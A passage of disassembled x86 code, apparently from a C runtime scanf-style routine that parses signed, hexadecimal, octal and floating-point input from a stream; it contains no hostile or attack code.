add esp, 4
mov [ebp+var_1D8], eax
cmp [ebp+var_1D8], 0FFFFFFFFh
jz loc_427372
mov ecx, [ebp+var_1D8]
sar ecx, 3
movsx edx, [ebp+ecx+var_60]
movsx eax, [ebp+var_10]
xor edx, eax
mov ecx, [ebp+var_1D8]
and ecx, 7
mov eax, 1
shl eax, cl
and edx, eax
test edx, edx
jz loc_427372
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz loc_427361
movsx edx, [ebp+var_64]
test edx, edx
jz short loc_42734B
mov al, byte ptr [ebp+var_1D8]
mov [ebp+var_1F0], al
mov ecx, [ebp+var_1D8]
and ecx, 0FFh
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_42731D
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_428020
add esp, 4
mov [ebp+var_1EF], al
loc_42731D: ; CODE XREF: sub_426BE0+720j
mov eax, ds:dword_44FD20
push eax
lea ecx, [ebp+var_1F0]
push ecx
lea edx, [ebp+var_4]
push edx
call sub_42E9D0
add esp, 0Ch
mov eax, [ebp+var_3C]
mov cx, [ebp+var_4]
mov [eax], cx
mov edx, [ebp+var_3C]
add edx, 2
mov [ebp+var_3C], edx
jmp short loc_42735F
; ---------------------------------------------------------------------------
loc_42734B: ; CODE XREF: sub_426BE0+6F3j
mov eax, [ebp+var_3C]
mov cl, byte ptr [ebp+var_1D8]
mov [eax], cl
mov edx, [ebp+var_3C]
add edx, 1
mov [ebp+var_3C], edx
loc_42735F: ; CODE XREF: sub_426BE0+769j
jmp short loc_427370
; ---------------------------------------------------------------------------
loc_427361: ; CODE XREF: sub_426BE0+6E7j
mov eax, [ebp+var_1E4]
add eax, 1
mov [ebp+var_1E4], eax
loc_427370: ; CODE XREF: sub_426BE0:loc_42735Fj
jmp short loc_427390
; ---------------------------------------------------------------------------
loc_427372: ; CODE XREF: sub_426BE0+6ADj
; sub_426BE0+6DBj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_428080
add esp, 8
jmp short loc_427395
; ---------------------------------------------------------------------------
loc_427390: ; CODE XREF: sub_426BE0:loc_427370j
jmp loc_42724E
; ---------------------------------------------------------------------------
loc_427395: ; CODE XREF: sub_426BE0+685j
; sub_426BE0+7AEj
mov ecx, [ebp+var_1E4]
cmp ecx, [ebp+var_3C]
jz short loc_4273D1
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_4273CF
mov eax, [ebp+var_34]
add eax, 1
mov [ebp+var_34], eax
cmp [ebp+var_C], 63h
jz short loc_4273CF
movsx ecx, [ebp+var_64]
test ecx, ecx
jz short loc_4273C9
mov edx, [ebp+var_3C]
mov word ptr [edx], 0
jmp short loc_4273CF
; ---------------------------------------------------------------------------
loc_4273C9: ; CODE XREF: sub_426BE0+7DDj
mov eax, [ebp+var_3C]
mov byte ptr [eax], 0
loc_4273CF: ; CODE XREF: sub_426BE0+7C6j
; sub_426BE0+7D5j ...
jmp short loc_4273D6
; ---------------------------------------------------------------------------
loc_4273D1: ; CODE XREF: sub_426BE0+7BEj
jmp loc_427ECA
; ---------------------------------------------------------------------------
loc_4273D6: ; CODE XREF: sub_426BE0:loc_4273CFj
jmp loc_427D74
; ---------------------------------------------------------------------------
loc_4273DB: ; CODE XREF: sub_426BE0+3C4j
; DATA XREF: seg000:00427F82o
mov [ebp+var_C], 64h
loc_4273E2: ; CODE XREF: sub_426BE0+3C4j
; DATA XREF: seg000:00427F92o
cmp [ebp+var_1D8], 2Dh
jnz short loc_4273F6
mov cl, [ebp+var_68]
add cl, 1
mov [ebp+var_68], cl
jmp short loc_4273FF
; ---------------------------------------------------------------------------
loc_4273F6: ; CODE XREF: sub_426BE0+809j
cmp [ebp+var_1D8], 2Bh
jnz short loc_42743C
loc_4273FF: ; CODE XREF: sub_426BE0+814j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_427421
cmp [ebp+var_1E8], 0
jz short loc_427421
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
jmp short loc_42743C
; ---------------------------------------------------------------------------
loc_427421: ; CODE XREF: sub_426BE0+82Cj
; sub_426BE0+835j
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_428020
add esp, 4
mov [ebp+var_1D8], eax
loc_42743C: ; CODE XREF: sub_426BE0+81Dj
; sub_426BE0+83Fj
cmp [ebp+var_1D8], 30h
jnz loc_4274DE
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_428020
add esp, 4
mov [ebp+var_1D8], eax
movsx edx, byte ptr [ebp+var_1D8]
cmp edx, 78h
jz short loc_42747C
movsx eax, byte ptr [ebp+var_1D8]
cmp eax, 58h
jnz short loc_4274A0
loc_42747C: ; CODE XREF: sub_426BE0+88Ej
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_428020
add esp, 4
mov [ebp+var_1D8], eax
mov [ebp+var_C], 78h
jmp short loc_4274DE
; ---------------------------------------------------------------------------
loc_4274A0: ; CODE XREF: sub_426BE0+89Aj
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
cmp [ebp+var_C], 78h
jz short loc_4274B8
mov [ebp+var_C], 6Fh
jmp short loc_4274DE
; ---------------------------------------------------------------------------
loc_4274B8: ; CODE XREF: sub_426BE0+8CDj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_428080
add esp, 8
mov [ebp+var_1D8], 30h
loc_4274DE: ; CODE XREF: sub_426BE0+863j
; sub_426BE0+8BEj ...
jmp short loc_42753E
; ---------------------------------------------------------------------------
loc_4274E0: ; CODE XREF: sub_426BE0+3C4j
; DATA XREF: seg000:00427F8Ao
mov [ebp+var_38], 1
loc_4274E4: ; CODE XREF: sub_426BE0+3C4j
; DATA XREF: seg000:00427F7Ao
cmp [ebp+var_1D8], 2Dh
jnz short loc_4274F8
mov cl, [ebp+var_68]
add cl, 1
mov [ebp+var_68], cl
jmp short loc_427501
; ---------------------------------------------------------------------------
loc_4274F8: ; CODE XREF: sub_426BE0+90Bj
cmp [ebp+var_1D8], 2Bh
jnz short loc_42753E
loc_427501: ; CODE XREF: sub_426BE0+916j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_427523
cmp [ebp+var_1E8], 0
jz short loc_427523
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
jmp short loc_42753E
; ---------------------------------------------------------------------------
loc_427523: ; CODE XREF: sub_426BE0+92Ej
; sub_426BE0+937j
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_428020
add esp, 4
mov [ebp+var_1D8], eax
loc_42753E: ; CODE XREF: sub_426BE0:loc_4274DEj
; sub_426BE0+91Fj ...
cmp [ebp+var_1DC], 0
jz loc_427739
loc_42754B: ; CODE XREF: sub_426BE0:loc_427714j
movsx eax, [ebp+var_18]
test eax, eax
jnz loc_427719
cmp [ebp+var_C], 78h
jnz loc_4275E6
cmp ds:dword_44FD20, 1
jle short loc_427586
push 80h
mov ecx, [ebp+var_1D8]
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_208], eax
jmp short loc_4275A3
; ---------------------------------------------------------------------------
loc_427586: ; CODE XREF: sub_426BE0+988j
mov edx, [ebp+var_1D8]
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 80h
mov [ebp+var_208], ecx
loc_4275A3: ; CODE XREF: sub_426BE0+9A4j
cmp [ebp+var_208], 0
jz short loc_4275D9
mov ecx, 4
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_42EBB0
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
mov edx, [ebp+var_1D8]
push edx
call sub_427FC0
add esp, 4
mov [ebp+var_1D8], eax
jmp short loc_4275E1
; ---------------------------------------------------------------------------
loc_4275D9: ; CODE XREF: sub_426BE0+9CAj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_4275E1: ; CODE XREF: sub_426BE0+9F7j
jmp loc_42768D
; ---------------------------------------------------------------------------
loc_4275E6: ; CODE XREF: sub_426BE0+97Bj
cmp ds:dword_44FD20, 1
jle short loc_427608
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_20C], eax
jmp short loc_427622
; ---------------------------------------------------------------------------
loc_427608: ; CODE XREF: sub_426BE0+A0Dj
mov edx, [ebp+var_1D8]
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_20C], ecx
loc_427622: ; CODE XREF: sub_426BE0+A26j
cmp [ebp+var_20C], 0
jz short loc_427685
cmp [ebp+var_C], 6Fh
jnz short loc_42765D
cmp [ebp+var_1D8], 38h
jge short loc_427652
mov ecx, 3
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_42EBB0
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
jmp short loc_42765B
; ---------------------------------------------------------------------------
loc_427652: ; CODE XREF: sub_426BE0+A58j
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
loc_42765B: ; CODE XREF: sub_426BE0+A70j
jmp short loc_427683
; ---------------------------------------------------------------------------
loc_42765D: ; CODE XREF: sub_426BE0+A4Fj
mov ecx, 2
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_42EBB0
add eax, [ebp+var_30]
adc edx, [ebp+var_2C]
mov ecx, 1
call sub_42EBB0
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
loc_427683: ; CODE XREF: sub_426BE0:loc_42765Bj
jmp short loc_42768D
; ---------------------------------------------------------------------------
loc_427685: ; CODE XREF: sub_426BE0+A49j
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_42768D: ; CODE XREF: sub_426BE0:loc_4275E1j
; sub_426BE0:loc_427683j
movsx ecx, [ebp+var_18]
test ecx, ecx
jnz short loc_4276F8
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
mov eax, [ebp+var_1D8]
sub eax, 30h
cdq
mov ecx, [ebp+var_30]
add ecx, eax
mov eax, [ebp+var_2C]
adc eax, edx
mov [ebp+var_30], ecx
mov [ebp+var_2C], eax
cmp [ebp+var_1E8], 0
jz short loc_4276DB
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
cmp [ebp+var_1C], 0
jnz short loc_4276DB
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
jmp short loc_4276F6
; ---------------------------------------------------------------------------
loc_4276DB: ; CODE XREF: sub_426BE0+ADFj
; sub_426BE0+AEEj
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_428020
add esp, 4
mov [ebp+var_1D8], eax
loc_4276F6: ; CODE XREF: sub_426BE0+AF9j
jmp short loc_427714
; ---------------------------------------------------------------------------
loc_4276F8: ; CODE XREF: sub_426BE0+AB3j
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_428080
add esp, 8
loc_427714: ; CODE XREF: sub_426BE0:loc_4276F6j
jmp loc_42754B
; ---------------------------------------------------------------------------
loc_427719: ; CODE XREF: sub_426BE0+971j
movsx edx, [ebp+var_68]
test edx, edx
jz short loc_427734
mov eax, [ebp+var_30]
neg eax
mov ecx, [ebp+var_2C]
adc ecx, 0
neg ecx
mov [ebp+var_30], eax
mov [ebp+var_2C], ecx
loc_427734: ; CODE XREF: sub_426BE0+B3Fj
jmp loc_4278DD
; ---------------------------------------------------------------------------
loc_427739: ; CODE XREF: sub_426BE0+965j
; sub_426BE0:loc_4278C8j
movsx edx, [ebp+var_18]
test edx, edx
jnz loc_4278CD
cmp [ebp+var_C], 78h
jz short loc_427751
cmp [ebp+var_C], 70h
jnz short loc_4277C9
loc_427751: ; CODE XREF: sub_426BE0+B69j
cmp ds:dword_44FD20, 1
jle short loc_427776
push 80h
mov eax, [ebp+var_1D8]
push eax
call sub_423D90
add esp, 8
mov [ebp+var_210], eax
jmp short loc_427793
; ---------------------------------------------------------------------------
loc_427776: ; CODE XREF: sub_426BE0+B78j
mov ecx, [ebp+var_1D8]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 80h
mov [ebp+var_210], eax
loc_427793: ; CODE XREF: sub_426BE0+B94j
cmp [ebp+var_210], 0
jz short loc_4277BC
mov ecx, [ebp+var_40]
shl ecx, 4
mov [ebp+var_40], ecx
mov edx, [ebp+var_1D8]
push edx
call sub_427FC0
add esp, 4
mov [ebp+var_1D8], eax
jmp short loc_4277C4
; ---------------------------------------------------------------------------
loc_4277BC: ; CODE XREF: sub_426BE0+BBAj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_4277C4: ; CODE XREF: sub_426BE0+BDAj
jmp loc_42784B
; ---------------------------------------------------------------------------
loc_4277C9: ; CODE XREF: sub_426BE0+B6Fj
cmp ds:dword_44FD20, 1
jle short loc_4277EB
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_214], eax
jmp short loc_427805
; ---------------------------------------------------------------------------
loc_4277EB: ; CODE XREF: sub_426BE0+BF0j
mov edx, [ebp+var_1D8]
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_214], ecx
loc_427805: ; CODE XREF: sub_426BE0+C09j
cmp [ebp+var_214], 0
jz short loc_427842
cmp [ebp+var_C], 6Fh
jnz short loc_427832
cmp [ebp+var_1D8], 38h
jge short loc_427828
mov edx, [ebp+var_40]
shl edx, 3
mov [ebp+var_40], edx
jmp short loc_427830
; ---------------------------------------------------------------------------
loc_427828: ; CODE XREF: sub_426BE0+C3Bj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_427830: ; CODE XREF: sub_426BE0+C46j
jmp short loc_427840
; ---------------------------------------------------------------------------
loc_427832: ; CODE XREF: sub_426BE0+C32j
mov ecx, [ebp+var_40]
mov edx, [ebp+var_40]
lea eax, [edx+ecx*4]
shl eax, 1
mov [ebp+var_40], eax
loc_427840: ; CODE XREF: sub_426BE0:loc_427830j
jmp short loc_42784B
; ---------------------------------------------------------------------------
loc_427842: ; CODE XREF: sub_426BE0+C2Cj
mov cl, [ebp+var_18]
add cl, 1
mov [ebp+var_18], cl
loc_42784B: ; CODE XREF: sub_426BE0:loc_4277C4j
; sub_426BE0:loc_427840j
movsx edx, [ebp+var_18]
test edx, edx
jnz short loc_4278AC
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
mov ecx, [ebp+var_1D8]
mov edx, [ebp+var_40]
lea eax, [edx+ecx-30h]
mov [ebp+var_40], eax
cmp [ebp+var_1E8], 0
jz short loc_42788F
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
cmp [ebp+var_1C], 0
jnz short loc_42788F
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
jmp short loc_4278AA
; ---------------------------------------------------------------------------
loc_42788F: ; CODE XREF: sub_426BE0+C93j
; sub_426BE0+CA2j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_428020
add esp, 4
mov [ebp+var_1D8], eax
loc_4278AA: ; CODE XREF: sub_426BE0+CADj
jmp short loc_4278C8
; ---------------------------------------------------------------------------
loc_4278AC: ; CODE XREF: sub_426BE0+C71j
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_428080
add esp, 8
loc_4278C8: ; CODE XREF: sub_426BE0:loc_4278AAj
jmp loc_427739
; ---------------------------------------------------------------------------
loc_4278CD: ; CODE XREF: sub_426BE0+B5Fj
movsx edx, [ebp+var_68]
test edx, edx
jz short loc_4278DD
mov eax, [ebp+var_40]
neg eax
mov [ebp+var_40], eax
loc_4278DD: ; CODE XREF: sub_426BE0:loc_427734j
; sub_426BE0+CF3j
cmp [ebp+var_C], 46h
jnz short loc_4278EA
mov [ebp+var_6C], 0
loc_4278EA: ; CODE XREF: sub_426BE0+D01j
cmp [ebp+var_6C], 0
jz short loc_427938
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz short loc_427936
mov edx, [ebp+var_34]
add edx, 1
mov [ebp+var_34], edx
loc_427901: ; CODE XREF: sub_426BE0+D70j
cmp [ebp+var_1DC], 0
jz short loc_42791A
mov eax, [ebp+var_3C]
mov ecx, [ebp+var_30]
mov [eax], ecx
mov edx, [ebp+var_2C]
mov [eax+4], edx
jmp short loc_427936
; ---------------------------------------------------------------------------
loc_42791A: ; CODE XREF: sub_426BE0+D28j
movsx eax, [ebp+var_38]
test eax, eax
jz short loc_42792C
mov ecx, [ebp+var_3C]
mov edx, [ebp+var_40]
mov [ecx], edx
jmp short loc_427936
; ---------------------------------------------------------------------------
loc_42792C: ; CODE XREF: sub_426BE0+D40j
mov eax, [ebp+var_3C]
mov cx, word ptr [ebp+var_40]
mov [eax], cx
loc_427936: ; CODE XREF: sub_426BE0+D16j
; sub_426BE0+D38j ...
jmp short loc_42793D
; ---------------------------------------------------------------------------
loc_427938: ; CODE XREF: sub_426BE0+D0Ej
jmp loc_427ECA
; ---------------------------------------------------------------------------
loc_42793D: ; CODE XREF: sub_426BE0:loc_427936j
jmp loc_427D74
; ---------------------------------------------------------------------------
loc_427942: ; CODE XREF: sub_426BE0+3C4j
; DATA XREF: seg000:00427F86o
mov edx, [ebp+var_20]
mov [ebp+var_40], edx
movsx eax, [ebp+var_70]
test eax, eax
jnz short loc_427952
jmp short loc_427901
; ---------------------------------------------------------------------------
loc_427952: ; CODE XREF: sub_426BE0+D6Ej
jmp loc_427D74
; ---------------------------------------------------------------------------
loc_427957: ; CODE XREF: sub_426BE0+3C4j
; DATA XREF: seg000:00427F7Eo
lea ecx, [ebp+var_1D0]
mov [ebp+var_1E0], ecx
cmp [ebp+var_1D8], 2Dh
jnz short loc_427986
mov edx, [ebp+var_1E0]
mov byte ptr [edx], 2Dh
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
jmp short loc_42798F
; ---------------------------------------------------------------------------
loc_427986: ; CODE XREF: sub_426BE0+D8Aj
cmp [ebp+var_1D8], 2Bh
jnz short loc_4279B3
loc_42798F: ; CODE XREF: sub_426BE0+DA4j
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_428020
add esp, 4
mov [ebp+var_1D8], eax
loc_4279B3: ; CODE XREF: sub_426BE0+DADj
cmp [ebp+var_1E8], 0
jz short loc_4279C5
cmp [ebp+var_1C], 15Dh
jle short loc_4279CC
loc_4279C5: ; CODE XREF: sub_426BE0+DDAj
mov [ebp+var_1C], 15Dh
loc_4279CC: ; CODE XREF: sub_426BE0+DE3j
; sub_426BE0+E82j
cmp ds:dword_44FD20, 1
jle short loc_4279EE
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_218], eax
jmp short loc_427A08
; ---------------------------------------------------------------------------
loc_4279EE: ; CODE XREF: sub_426BE0+DF3j
mov edx, [ebp+var_1D8]
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_218], ecx
loc_427A08: ; CODE XREF: sub_426BE0+E0Cj
cmp [ebp+var_218], 0
jz short loc_427A67
mov edx, [ebp+var_1C]
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
test edx, edx
jz short loc_427A67
mov ecx, [ebp+var_6C]
add ecx, 1
mov [ebp+var_6C], ecx
mov edx, [ebp+var_1E0]
mov al, byte ptr [ebp+var_1D8]
mov [edx], al
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_428020
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_4279CC
; ---------------------------------------------------------------------------
loc_427A67: ; CODE XREF: sub_426BE0+E2Fj
; sub_426BE0+E3Fj
movsx ecx, ds:byte_44FD24
movsx edx, byte ptr [ebp+var_1D8]
cmp ecx, edx
jnz loc_427B64
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz loc_427B64
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_428020
add esp, 4
mov [ebp+var_1D8], eax
mov ecx, [ebp+var_1E0]
mov dl, ds:byte_44FD24
mov [ecx], dl
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
loc_427AC9: ; CODE XREF: sub_426BE0+F7Fj
cmp ds:dword_44FD20, 1
jle short loc_427AEB
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_21C], eax
jmp short loc_427B05
; ---------------------------------------------------------------------------
loc_427AEB: ; CODE XREF: sub_426BE0+EF0j
mov edx, [ebp+var_1D8]
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_21C], ecx
loc_427B05: ; CODE XREF: sub_426BE0+F09j
cmp [ebp+var_21C], 0
jz short loc_427B64
mov edx, [ebp+var_1C]
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
test edx, edx
jz short loc_427B64
mov ecx, [ebp+var_6C]
add ecx, 1
mov [ebp+var_6C], ecx
mov edx, [ebp+var_1E0]
mov al, byte ptr [ebp+var_1D8]
mov [edx], al
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_428020
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_427AC9
; ---------------------------------------------------------------------------
loc_427B64: ; CODE XREF: sub_426BE0+E97j
; sub_426BE0+EABj ...
cmp [ebp+var_6C], 0
jz loc_427CC9
cmp [ebp+var_1D8], 65h
jz short loc_427B84
cmp [ebp+var_1D8], 45h
jnz loc_427CC9
loc_427B84: ; CODE XREF: sub_426BE0+F95j
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
test ecx, ecx
jz loc_427CC9
mov eax, [ebp+var_1E0]
mov byte ptr [eax], 65h
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_428020
add esp, 4
mov [ebp+var_1D8], eax
cmp [ebp+var_1D8], 2Dh
jnz short loc_427BEE
mov ecx, [ebp+var_1E0]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
jmp short loc_427BF7
; ---------------------------------------------------------------------------
loc_427BEE: ; CODE XREF: sub_426BE0+FF2j
cmp [ebp+var_1D8], 2Bh
jnz short loc_427C2D
loc_427BF7: ; CODE XREF: sub_426BE0+100Cj
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jnz short loc_427C12
mov edx, [ebp+var_1C]
add edx, 1
mov [ebp+var_1C], edx
jmp short loc_427C2D
; ---------------------------------------------------------------------------
loc_427C12: ; CODE XREF: sub_426BE0+1025j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_428020
add esp, 4
mov [ebp+var_1D8], eax
loc_427C2D: ; CODE XREF: sub_426BE0+1015j
; sub_426BE0+1030j ...
cmp ds:dword_44FD20, 1
jle short loc_427C4F
push 4
mov edx, [ebp+var_1D8]
push edx
call sub_423D90
add esp, 8
mov [ebp+var_220], eax
jmp short loc_427C6A
; ---------------------------------------------------------------------------
loc_427C4F: ; CODE XREF: sub_426BE0+1054j
mov eax, [ebp+var_1D8]
mov ecx, ds:off_44FE2C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_220], edx
loc_427C6A: ; CODE XREF: sub_426BE0+106Dj
cmp [ebp+var_220], 0
jz short loc_427CC9
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz short loc_427CC9
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
mov eax, [ebp+var_1E0]
mov cl, byte ptr [ebp+var_1D8]
mov [eax], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_428020
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_427C2D
; ---------------------------------------------------------------------------
loc_427CC9: ; CODE XREF: sub_426BE0+F88j
; sub_426BE0+F9Ej ...
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_428080
add esp, 8
cmp [ebp+var_6C], 0
jz short loc_427D23
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_427D21
mov eax, [ebp+var_34]
add eax, 1
mov [ebp+var_34], eax
mov ecx, [ebp+var_1E0]
mov byte ptr [ecx], 0
lea edx, [ebp+var_1D0]
push edx
mov eax, [ebp+var_3C]
push eax
movsx ecx, [ebp+var_38]
sub ecx, 1
push ecx
call ds:off_450400
add esp, 0Ch
loc_427D21: ; CODE XREF: sub_426BE0+1111j
jmp short loc_427D28
; ---------------------------------------------------------------------------
loc_427D23: ; CODE XREF: sub_426BE0+1109j
jmp loc_427ECA
; ---------------------------------------------------------------------------
loc_427D28: ; CODE XREF: sub_426BE0:loc_427D21j
jmp short loc_427D74
; ---------------------------------------------------------------------------
loc_427D2A: ; CODE XREF: sub_426BE0+3B0j
; sub_426BE0+3C4j
; DATA XREF: ...
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
cmp eax, [ebp+var_1D8]
jz short loc_427D5A
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_428080
add esp, 8
jmp loc_427ECA
; ---------------------------------------------------------------------------
loc_427D5A: ; CODE XREF: sub_426BE0+1157j
mov cl, [ebp+var_28]
sub cl, 1
mov [ebp+var_28], cl
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_427D74
mov eax, [ebp+var_1D4]
mov [ebp+arg_8], eax
loc_427D74: ; CODE XREF: sub_426BE0:loc_4273D6j
; sub_426BE0:loc_42793Dj ...
mov cl, [ebp+var_28]
add cl, 1
mov [ebp+var_28], cl
jmp short loc_427DA0
; ---------------------------------------------------------------------------
loc_427D7F: ; CODE XREF: sub_426BE0+38Bj
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_428080
add esp, 8
jmp loc_427ECA
; ---------------------------------------------------------------------------
loc_427DA0: ; CODE XREF: sub_426BE0+119Dj
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
jmp loc_427EA1
; ---------------------------------------------------------------------------
loc_427DAE: ; CODE XREF: sub_426BE0+11Dj
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov esi, edx
mov eax, [ebp+arg_0]
push eax
call sub_428020
add esp, 4
mov [ebp+var_1D8], eax
mov ecx, [ebp+var_1D8]
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
cmp esi, ecx
jz short loc_427E06
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_428080
add esp, 8
jmp loc_427ECA
; ---------------------------------------------------------------------------
loc_427E06: ; CODE XREF: sub_426BE0+1203j
mov eax, [ebp+var_1D8]
and eax, 0FFh
mov ecx, ds:off_44FE2C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_427EA1
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov esi, edx
mov eax, [ebp+arg_0]
push eax
call sub_428020
add esp, 4
mov [ebp+var_1F4], eax
mov ecx, [ebp+var_1F4]
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
cmp esi, ecx
jz short loc_427E98
